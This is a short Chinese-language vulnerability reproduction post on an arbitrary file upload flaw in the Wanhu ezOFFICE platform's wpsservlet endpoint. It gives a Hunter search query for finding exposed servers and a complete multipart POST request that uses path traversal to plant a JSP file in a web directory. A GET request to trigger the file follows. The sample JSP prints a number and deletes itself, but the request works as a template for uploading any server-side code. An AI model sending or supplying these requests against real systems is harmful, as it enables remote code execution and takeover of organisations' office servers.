登录 白背景
源码

万户协同办公平台wpsservlet存在任意文件上传漏洞

一、漏洞简介

万户ezOFFICE协同管理平台是一个综合信息基础应用平台。 万户协同办公平台wpsservlet存在任意文件上传漏洞

<font style="color:rgb(62, 62, 62);">二、影响版本</font>

  • <font style="color:rgb(62, 62, 62);">万户ezoffice</font>

<font style="color:rgb(62, 62, 62);">三、资产测绘</font>

  • <font style="color:rgb(62, 62, 62);">hunter</font><font style="color:rgb(62, 62, 62);">app.name="万户 Ezoffice OA"</font>
  • <font style="color:rgb(62, 62, 62);">登录页面</font>

1694241158110-8d4eef16-79f1-46eb-899b-344bd2a7a19f.png

<font style="color:rgb(62, 62, 62);">四、漏洞复现</font>

POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=AOr6V&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: {hostname}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 207
Accept-Encoding: gzip, deflate
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=pgT9AsKpmc

--pgT9AsKpmc
Content-Disposition: form-data; name="NewFile"; filename="AOr6V.jsp"

<% out.println(111*111);new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
--pgT9AsKpmc--

1702743177335-b5995628-d9b3-40fb-a038-1d232265e719.png

上传文件位置

GET /defaultroot/platform/portal/layout/AOr6V.jsp HTTP/1.1
Host: {hostname}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Connection: close
Cookie: OASESSIONID=47979EE3BFECCB9F41527871FBBE4789
Accept-Encoding: gzip, deflate

1702743204060-a0c3b1d2-9fab-43ef-9555-75482ddf576b.png

原文: https://www.yuque.com/xiaokp7/ocvun2/vu6zsr7nb8z989qd